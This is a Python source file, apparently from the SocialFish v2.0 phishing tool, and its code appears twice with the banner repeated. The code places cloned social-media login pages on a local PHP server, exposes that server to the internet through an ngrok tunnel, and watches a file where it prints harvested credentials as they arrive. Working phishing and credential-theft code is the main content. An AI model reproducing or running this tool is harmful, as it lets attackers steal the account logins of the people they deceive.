<gh_stars>1-10
######################################################
#                                                    #
#       SOCIALFISH v2.0                              #
#                                                    #
# by:     UNDEADSEC                                  #
#                                                    #
# Telegram Group: https://t.me/UndeadSec             #
# YouTube Channel: https://youtube.com/c/UndeadSec   #
# Twitter: https://twitter.com/A1S0N_                #
#                                                    #
######################################################

from os import system
from time import sleep
from huepy import *

def runPhishing(social):
    system('sudo rm -Rf base/Server/www/*.* && touch base/Server/www/cat.txt')
    command = 'cp base/WebPages/%s/*.* base/Server/www/' % social.lower()
    system(command)

def waitCreds():
    print(cyan(" [*] Waiting for credentials... "))
    while True:
        with open('base/Server/www/cat.txt') as creds:
            lines = creds.read().rstrip()
        if len(lines) != 0: 
            print(green('\n [*] Credentials found:\n %s' % lines))                        
            system('rm -rf base/Server/www/cat.txt && touch base/Server/www/cat.txt')
        creds.close()

def runNgrok():
    system('./base/Server/ngrok http 80 > /dev/null &')
    sleep(10)
    system('curl -s -N http://127.0.0.1:4040/status | grep "https://[0-9a-z]*\.ngrok.io" -oh > ngrok.url')
    url = open('ngrok.url', 'r')
    print(green('\n [*] Ngrok URL: %s' % url.read()))
    url.close()

def runServer():
    system("cd base/Server/www/ && sudo php -S 127.0.0.1:80 > /dev/null 2>&1 &")



######################################################
#                                                    #
#       SOCIALFISH v2.0                              #
#                                                    #
# by:     UNDEADSEC                                  #
#                                                    #
# Telegram Group: https://t.me/UndeadSec             #
# YouTube Channel: https://youtube.com/c/UndeadSec   #
# Twitter: https://twitter.com/A1S0N_                #
#                                                    #
######################################################

from os import system
from time import sleep
from huepy import *

def runPhishing(social):
    system('sudo rm -Rf base/Server/www/*.* && touch base/Server/www/cat.txt')
    command = 'cp base/WebPages/%s/*.* base/Server/www/' % social.lower()
    system(command)

def waitCreds():
    print(cyan(" [*] Waiting for credentials... "))
    while True:
        with open('base/Server/www/cat.txt') as creds:
            lines = creds.read().rstrip()
        if len(lines) != 0: 
            print(green('\n [*] Credentials found:\n %s' % lines))                        
            system('rm -rf base/Server/www/cat.txt && touch base/Server/www/cat.txt')
        creds.close()

def runNgrok():
    system('./base/Server/ngrok http 80 > /dev/null &')
    sleep(10)
    system('curl -s -N http://127.0.0.1:4040/status | grep "https://[0-9a-z]*\.ngrok.io" -oh > ngrok.url')
    url = open('ngrok.url', 'r')
    print(green('\n [*] Ngrok URL: %s' % url.read()))
    url.close()

def runServer():
    system("cd base/Server/www/ && sudo php -S 127.0.0.1:80 > /dev/null 2>&1 &")
###################################################### #                                                    # #       SOCIALFISH v2.0                              # #                                                    # # by:     UNDEADSEC                                  # #                                                    # # Telegram Group: https://t.me/UndeadSec             # # YouTube Channel: https://youtube.com/c/UndeadSec   # # Twitter: https://twitter.com/A1S0N_                # #                                                    # ######################################################